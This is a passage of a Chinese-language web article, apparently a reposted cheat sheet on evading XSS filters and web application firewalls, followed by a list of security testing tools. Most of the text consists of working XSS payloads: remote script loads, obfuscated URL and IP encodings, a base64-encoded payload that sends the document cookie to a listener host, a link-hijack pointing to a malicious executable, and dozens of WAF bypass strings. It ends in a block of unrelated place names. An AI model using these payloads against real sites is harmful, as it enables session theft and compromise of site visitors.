<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

最后一次XSS攻擊是為了躲避,“/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'“>\s]+)?)+\s*|\s*)src/i“使用重音符(同樣,在Firefox中不起作用).

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

下面是一個XSS示例,它打賭regex不會捕獲匹配的一對引號,而是會找到任何引號來不正確地終止參數字符串.

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

這個XSS仍然讓我擔心,因為如果不阻止所有活動內容,幾乎不可能停止它.

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

URL字符串規避類:

假設“http://www.google.com/”在語法上是不允許的.

IP versus hostname:

<A HREF="http://66.102.7.147/">XSS</A>

URL encoding

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

Dword encoding:

注意:還有其他的Dword編碼變體-請參閱下面的IP混淆計算器以了解更多詳細信息.

<A HREF="http://1113982867/">XSS</A>

Hex encoding十六進制:

允許的每個數字的總大小大約為240個字符,如您在第二個數字上看到的,并且由于十六進制數字介于0和F之間,因此不需要在第三個十六進制引號上的前導零).

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

Octal encoding八進制:

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

Base64 encoding:

<img οnlοad="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">

Mixed encoding:

讓我們混合和匹配基本編碼,并加入一些制表符和換行符-為什么瀏覽器允許這樣做,我永遠不會知道)。制表符和換行符只有在用引號封裝時才起作用。

<A HREF="h

tt p://6 6.000146.0x7.147/">XSS</A>

協議解析旁路:

(//轉換為http:/,這將保存更多的字節)。當空間也是一個問題時(少兩個字符會有很長的路要走),

這真的很方便,而且可以輕松地繞過類似regex的“(ht | f)tp(s)?“//”。

您也可以將“/”改為“\\”。但是,您確實需要保留斜杠,否則這將被解釋為相對路徑URL。

<A HREF="//www.google.com/">XSS</A>

Google "feeling lucky" part 1.:

Firefox使用Google的“感覺幸運”功能將用戶重定向到你輸入的任何關鍵詞。

因此,如果你的可利用頁面是一些隨機關鍵字的頂部(如你在這里看到的),你可以對任何Firefox用戶使用該功能。這使用了Firefox的“keyword:”協議。

例如,您可以使用如下“keyword:XSS+RSnake”連接多個關鍵字。從2.0開始,這不再適用于Firefox。

<A HREF="//google">XSS</A>

Google "feeling lucky" part 2:

這使用了一個看起來只適用于Firefox的非常小的技巧,因為如果它是“感覺幸運”功能的實現。

與下一個不同,這在Opera中不起作用,因為Opera認為這是舊的HTTP基本身份驗證仿冒攻擊,而不是。這只是一個格式錯誤的URL。

如果你點擊對話框上的OK,它將工作,但由于錯誤的對話框,我是說Opera不支持此功能,并且從2.0開始Firefox不再支持此功能。

<A HREF="http://ha.ckers.org@google">XSS</A>

Google "feeling lucky" part 3:

這使用了一個格式錯誤的URL,似乎只在Firefox和Opera中有效,因為如果它們實現了“感覺幸運”功能。

像上面所有的這些一樣,它要求你在Google中的關鍵字是1(在本例中是“Google”)。

<A HREF="http://google:ha.ckers.org">XSS</A>

Removing cnames:

當與上述URL結合使用時,刪除“www.”將為正確設置此設置的服務器節省額外的4個字節,總共節省9個字節。

<A HREF="http://google.com/">XSS</A>

絕對DNS的額外點:

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location:

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

內容替換為攻擊向量:

假設“http://www.google.com/”以編程方式替換為空)。

實際上,我使用了一個類似的攻擊向量來攻擊幾個獨立的真實世界XSS過濾器,

方法是使用轉換過濾器本身(這里是一個示例)來幫助創建攻擊向量

(即:“java&#x09;script:”被轉換為“java script:”,它在IE、Netscape 8.1+中以安全站點模式和Opera呈現)。

<A HREF="http://www.google.com/ogle.com/">XSS</A>

字符轉義序列:

HTML和JavaScript中字符“<”的所有可能組合。其中大多數不會在框外渲染,但其中許多可以在上述特定情況下渲染。

<

%3C

&amplt

&amplt;

&ampLT

&ampLT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&amp#60;

&amp#060;

&amp#0060;

&amp#00060;

&amp#000060;

&amp#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&amp#x3c;

&amp#x03c;

&amp#x003c;

&amp#x0003c;

&amp#x00003c;

&amp#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&amp#X3c;

&amp#X03c;

&amp#X003c;

&amp#X0003c;

&amp#X00003c;

&amp#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&amp#x3C;

&amp#x03C;

&amp#x003C;

&amp#x0003C;

&amp#x00003C;

&amp#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&amp#X3C;

&amp#X03C;

&amp#X003C;

&amp#X0003C;

&amp#X00003C;

&amp#X000003C;

\x3c

\x3C

\u003c

\u003C

繞過WAF的方法-跨站點腳本:

General issues

Stored XSS:

如果攻擊者設法推動XSS通過過濾器,WAF將無法阻止攻擊的傳導。在Javascript中反映XSS.

Example:

<script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

Exploitation: /?xss=500); alert(document.cookie);//

DOM-based XSS:

Example:

<script> ... eval($_GET[xss]); ... </script>

Exploitation: /?xss=document.cookie

XSS via request Redirection:

通過請求重定向的XSS。

易受攻擊的代碼.

...

header('Location: '.$_GET['param']);

...

As well as:

...

header('Refresh: 0; URL='.$_GET['param']);

...

This request will not pass through the WAF:

/?param=javascript:alert(document.cookie)

This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

WAF ByPass Strings for XSS:

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" οnmοuseοver="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" οnerrοr="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 οnerrοr=alert(XSS)>

<img src=x:alert(alt) οnerrοr=eval(src) alt=0>

<img src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg οnlοad=alert(1)>">

<meta content="&ampNewLine; 1 &ampNewLine;; JAVASCRIPT&ampcolon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&ampcolon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&ampcolon;alert&amplpar;document&ampperiod;location&amprpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&ampcolon;prompt(1)"/%00*/οnerrοr='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style>

On Mouse Over

<img src="/" =_=" title="οnerrοr='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&ampcolon;alert(1)>CLICKME

<input/οnmοuseοver="javaSCRIPT&ampcolon;confirm&amplpar;1&amprpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<OBJECT CLASSID="clsid:333C7BC5-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

過濾器旁路警報混,Filter bypass alarm confusion:

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

應用程序檢測和糾正無效輸入的方法是防止XSS的另一個主要弱點。黑名單可能不包括所有可能的攻擊字符串,白名單可能過于寬容,清理可能失敗,或者某種類型的輸入可能被錯誤地信任并保持未清理狀態。

工具類:

  • OWASP CAL9000

CAL9000是Web應用程序安全性測試工具的合集,可補充當前Web代理和自動掃描程序的功能集。它作為參考托管在https://1337.yehg.net/CAL9000/上。

  • PHP字符集編碼器(PCE) - http://h5k.in/encoding [鏡:http://yehg.net/e ]

此工具可幫助您在65種字符集之間對任意文本進行編碼。還提供了JavaScript提供的一些編碼功能。

  • HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

它為高級字符串操作攻擊提供了數十種靈活的編碼。

      OWASP WebScar

WebScarab是一個框架,用于分析使用HTTP和HTTPS協議進行通信的應用程序。

  • XSS-代理 - http://xss-proxy.sourceforge.net/

XSS-Proxy是高級的跨站點腳本(XSS)攻擊工具。

  • ratproxy - http://code.google.com/p/ratproxy/

一種半自動化的,很大程度上是被動的Web應用程序安全審核工具,基于對復雜Web 2.0環境中現有的用戶發起的流量的觀察,已針對潛在問題和與安全相關的設計模式進行了精確,靈敏的檢測和自動注釋,并進行了優化。

  • 代理http : //portswigger.net/proxy/

Burp代理是用于攻擊和測試Web應用程序的交互式HTTP/S代理服務器。

  • OWASP Zed的攻擊代理(ZAP) - OWASP_Zed_Attack_Proxy_Project

ZAP是易于使用的集成滲透測試工具,用于發現Web應用程序中的漏洞。它被設計為具有廣泛的安全經驗的人使用,因此,它是滲透測試新手的開發人員和功能測試人員的理想選擇。ZAP提供了自動掃描程序以及一系列工具,可讓您手動查找安全漏洞。

  • OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework

OWASP Xenotix XSS漏洞利用框架是一個高級的跨站點腳本(XSS)漏洞檢測和利用框架。它通過其獨特的三重瀏覽器引擎(Trident,WebKit和Gecko)嵌入式掃描儀提供零誤報掃描結果。據稱,它具有約1600多個獨特的XSS有效負載的全球第二大XSS有效負載,可有效地檢測XSS漏洞和WAF繞過。Xenotix腳本引擎允許您通過Xenotix API創建自定義測試用例和附加組件。它與功能豐富的信息收集模塊結合在一起,可用于目標偵察。漏洞利用框架包括用于滲透測試和概念驗證創建的令人討厭的XSS漏洞利用模塊。

看完上述內容,你們對如何繞過XSS的防護有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xss
AI

北碚区| 夏河县| 滦南县| 弋阳县| 伊川县| 鸡东县| 嘉义市| 喜德县| 濮阳县| 乌鲁木齐县| 安西县| 明光市| 轮台县| 雷州市| 山丹县| 东乡县| 大英县| 浮山县| 永嘉县| 卫辉市| 金堂县| 巴青县| 宝坻区| 兴安盟| 洞头县| 绥中县| 收藏| 夏河县| 新兴县| 青神县| 高要市| 靖安县| 黑山县| 纳雍县| 滨州市| 东至县| 廊坊市| 拉萨市| 宜丰县| 旬阳县| 乌兰察布市|